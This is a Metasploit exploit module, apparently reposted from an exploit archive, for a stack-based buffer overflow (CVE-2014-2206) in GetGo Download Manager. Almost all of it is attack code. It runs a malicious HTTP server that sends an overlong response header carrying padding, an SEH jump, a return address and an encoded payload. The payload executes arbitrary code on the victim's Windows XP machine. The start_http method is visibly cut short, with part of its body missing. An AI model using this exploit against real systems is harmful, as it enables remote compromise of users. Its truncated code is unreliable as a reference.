GetGo Download Manager HTTP Response Buffer Overflow

[Aerosol]

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::Seh
  include Msf::Exploit::Remote::HttpServer

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'GetGo Download Manager HTTP Response Buffer Overflow',
      'Description'    => %q{
          This module exploits a stack-based buffer overflow vulnerability in
        GetGo Download Manager version 4.9.0.1982 and earlier, caused by an
        overly long HTTP response header.
        By persuading the victim to download a file from a malicious server, a
        remote attacker could execute arbitrary code on the system or cause
        the application to crash. This module has been tested successfully on
        Windows XP SP3.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Julien Ahrens',  # Vulnerability discovery
          'Gabor Seljan'    # Metasploit module
        ],
      'References'     =>
        [
          [ 'EDB', '32132' ],
          [ 'OSVDB', '103910' ],
          [ 'CVE', '2014-2206' ],
        ],
      'DefaultOptions' =>
        {
          'ExitFunction' => 'process',
          'URIPATH'      => "/shakeitoff.mp3"
        },
      'Platform'       => 'win',
      'Payload'        =>
        {
          'BadChars'   => "\x00\x0a\x0d",
          'Space'      => 2000
        },
      'Targets'        =>
        [
          [ 'Windows XP SP3',
            {
              'Offset' => 4107,
              'Ret'    => 0x00280b0b  # CALL DWORD PTR SS:[EBP+30]
            }
          ]
        ],
      'Privileged'     => false,
      'DisclosureDate' => 'Mar 09 2014',
      'DefaultTarget'  => 0))
  end

  #
  # Handle the HTTP request and return a response.
  # Code borrowed from: msf/core/exploit/http/server.rb
  #
  def start_http(opts={})
    # Ensture all dependencies are present before initializing HTTP
    use_zlib

    comm = datastore['ListenerComm']
    if (comm.to_s == "local")
      comm = ::Rex::Socket::Comm::Local
    else
      comm = nil
    end

    # Default the server host / port
    opts = {
      'ServerHost' => datastore['SRVHOST'],
      'ServerPort' => datastore['HTTPPORT'],
      'Comm'       => comm
    }.update(opts)

    # Start a new HTTP server
    @http_service = nil
    rescue
    end
  end


  def on_request_uri(cli, request)

    print_status("Client connected...")

    unless request['User-Agent'] =~ /GetGo Download Manager 4.0/
      print_error("Sending 404 for unknown user-agent")
      send_not_found(cli)
      return
    end

    sploit  = rand_text_alpha(target['Offset'])
    sploit << "\x90\x90\xEB\x06"
    sploit << [target.ret].pack('V')
    sploit << payload.encoded

    print_status("Sending #{sploit.length} bytes to port #{cli.peerport}...")

    resp = create_response(200, sploit)
    resp.body = ""
    cli.send_response(resp)

    close_client(cli)

  end
end

Source